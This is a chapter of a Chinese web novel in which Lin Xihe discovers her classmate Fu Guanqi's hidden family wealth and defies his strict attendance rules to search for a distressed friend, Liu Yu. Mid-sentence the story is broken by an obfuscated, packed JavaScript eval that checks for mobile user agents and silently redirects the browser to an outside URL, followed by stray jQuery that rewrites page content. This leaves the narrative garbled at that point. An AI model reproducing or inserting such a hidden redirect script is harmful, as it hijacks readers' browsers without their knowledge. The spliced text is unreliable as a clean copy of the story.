其实，付观棋的父母根本不是什么“油漆厂”的员工。
他的母亲，是九十年代重点大学毕业的知识分子，身上自带一股子读书人的清高气。或许是因着这份清高，瞧不上林家这样的拆迁暴发户，所以她与林桂英说话时，语调里藏着不着痕迹的疏淡。
而付父则是典型的白手起家。他出身于某贫困县的贫困乡，是八十年代的大学生，也是一步步闯出来的富一代。
也许是吃惯了苦，所以最懂得抓住机会，回头看他的发家史，每一步都很精准：
早在大学期间，他就借着价格双轨制的灰色机遇赚得第一桶金；九十年代初，别人还在观望，他敢把全部身家押去郊区圈荒地，等地价翻了几番又转身搞起房地产开发；千禧年前后嗅到电子消费浪潮，又跨界杀入手机领域，再后来，他又押注科技转型，做起了新能源和AI芯片。
这也是为什么听到“扫码”时，他能打趣反问“是二维码吗”。这年头，普通人还没见过二维码，但像付父这样早已身处技术前沿的人，当然是再熟悉不过。
所有这些，付观棋全然不知。他是在实打实的“穷养”环境中长大的，吃穿用度甚至比普通工薪家庭的孩子还要俭朴。
在前世，林曦和也是在读研时才知道这事，还是偶然看到企业家“付望山”的照片，感觉特像付观棋的爸爸，一打听才惊讶发现确实是他爸。
她又私下问了很多高中同学，发现大家都不知道这回事。
仔细想想也合理，毕竟他家瞒得滴水不漏，再加上付观棋为人低调，所以大家不知道也正常。
至于他父母为什么会有这种穷养的观念，那可就说来话长了，还要从这个特定的时代背景说起。
九十年代起，独生子女政策的影响已经深入每个城市家庭，家家户户都是四个老人加父母围着一个孩子转，“小皇帝”“小公主”的称呼在媒体上流行开来。
此时的纸媒正盛，家庭教育专栏铺天盖地，不断警示着“溺爱”的风险。什么“虎妈”的严厉教子经、“寒门出贵子”的励志故事、以及“把孩子‘打’上顶尖大学”的极端言论……这些种种，共同构建了一种“过于优越的物质条件会毁掉孩子未来”的集体焦虑。
付望山这一代人，正是在这样的舆论氛围中，形成了一套独特的教养逻辑。他将财富视为阻碍，把苦难当作养料，坚信唯有让孩子在“匮乏”中长大，才能继承自己白手起家的能力。
这样的想法看似理性，内里却带着几分偏执。
思绪回转，林曦和的目光落回身旁的刘雨身上。
媒体上总把泉中渲染成绝对公平的圣地、是寒门子弟的升学殿堂。但是林曦和心里清楚，像刘雨这样家境普通、学习上又很难再有突破的学生，其实最是煎熬的。
她踩着分数线挤进实验班，肩负全家期望，在激烈的竞争中挣扎。如果第一学年就掉入平行班，对她心理上的打击恐怕非常大。
尤其是九月份，林曦和的总成绩在班上垫底，后面两个月又赶上来了，最近的期中考，刘雨的成绩依旧靠后，能感觉出来她比较低落。
想到这个，林曦和心里便蒙上一层淡淡的惆怅。
直到几天后的早操时间，在嘈杂的操场上，这种不安变得具体起来。
－
班级队伍已基本成型，付观棋正核对人数，林曦和看了一圈忽然发现刘雨没来。
她看了眼腕表，心里奇怪：刘雨向来准时，怎么今天这个点还没看到人？
她东张西望，想找刘雨的舍友问个究竟。八人间的舍友本就分散，此刻操场上人群攒动，更是难找。
林曦和拉住其中两个舍友，问她们：“刘雨呢？”
两个女生被拉住时还有些茫然，对视一眼才摇摇头：“不知道啊，我们出门的时候她还躺在床上。”
“没醒吗？你们怎么不叫她一声？”林曦和追问。
其中一个女生撇撇嘴，语气里带着事不关己的理所当然：“起床铃那么响，聋子都听见了，自己不起，怪谁？”
林曦和一时语塞，转头望向宿舍楼的方向。空旷的甬道上，依旧没有那个熟悉的身影。
没有一丝犹豫，她拔腿就往宿舍楼跑，跑了几步又猛地刹住脚步，折返回来，三步做两步冲到付观棋的面前。
“哎！班长，我请个假。”
付观棋正在低头写考勤表，听到这句时眼皮都没抬一下，只问：“请假条呢？”
林曦和诚实回答：“没有。”
付观棋驳回她的请假：“口头请假不算，算旷操。”
眼看他提笔就要在自己的名字旁边标记，林曦和又开口：“……事出紧急，通融一下吧。”
听到这句话，付观棋终于抬头，目光平静地落在她脸上，但是只停留了不到三秒，眼睛又低下去。
他一本正经地提醒：“不行，学校就是这么规定的，请假必须提前书面报备。你没有假条，不符合程序，属于违纪。”
唉！这个榆木脑袋！
林曦和在心里吐槽：自己好歹是他房东，这么死板干嘛！就不能顺水推舟做做人情吗？
“要不我撤回刚刚的话，不请假了，你就当我去上厕所了，有事暂时离开一下。”
付观棋沉默了。
林曦和赶
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16741581|188523||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时间，懒得等他的答复，又改口，“算了，记就记吧，记我我认了，但是能不能别记刘雨，她有点特殊情况，等会儿小班问起来你就说她上厕所去了行吗？”
付观棋没答应，但也没立刻拒绝。他再次抬眼，静静地看着她，沉默了一会儿，忽然问：“所以……你旷操，就是为了去找她？”
林曦和不耐烦了：“你别管我干什么，记旷操就记！但是别记她，行不行？废话不要那么多，给个准话！”
付观棋低下头，迅速在刘雨的名字后划上一笔，“不行，没走请假流程就是违纪。”
其实他说得也没错，泉中有严格的请假规定：必须由本人提前领取三联请假条填写，经过班主任签字后再交给班长备案。
缺了任一环节，请假就不成立。
说到底，程序高于一切。
林曦和失去了耐心，“行吧，那就这样，你记吧！你记我我也要去找人。”
她转身要走，付观棋的声音从身后传来，音调不高，却字字清晰：
“如果政教处来抽查，缺勤一人会扣4分。你们两个都缺勤，我们班就会被扣8分。”
林曦和头也不回，甩下一句：“扣就扣吧！”
－
学校的跑操集合音乐并非一成不变，但是更换频率不算规律，有时一月一换，有时两月一换，最长的时候甚至会三四个月才换。不过，音乐库的选曲倒是非常固定，都是节奏强劲、歌词励志的流行乐。
现在是11月，歌曲已经把《怒放的生命》换成了《我相信》。
当林曦和找到刘雨时，歌曲正放到“我相信我就是我，我相信明天，我相信青春没有地平线。”
她不是在宿舍找到的刘雨，而是在食堂。
其实她最先去的地方就是宿舍，但是发现宿舍里空无一人。后来她又像无头苍蝇一样跑了好几处：公厕、教学楼走廊、小卖部……
那时，林曦和想：她会不会已经去参加跑操了？
她心下一横，打算先回操场再说。然而，就在经过食堂门口时，眼角余光却扫到了刘雨的身影。
林曦和悬着的心落下一半，至少人找到了。她深吸一口气，调整好表情，故作轻松地走过去在她对面坐下。
“原来你在这里，到处找你都找不着。”她努力让语气听起来像平常的调侃，“怎么跑食堂来了？这么早就饿了？”
看到林曦和，刘雨的嘴角勉强向上弯了弯，却看不出丝毫笑意。
她沉默了几秒，声音轻飘飘的：“……突然很想吃拌面条。”
“……要热的、拌花椒油和酱油的。”她加重语气强调。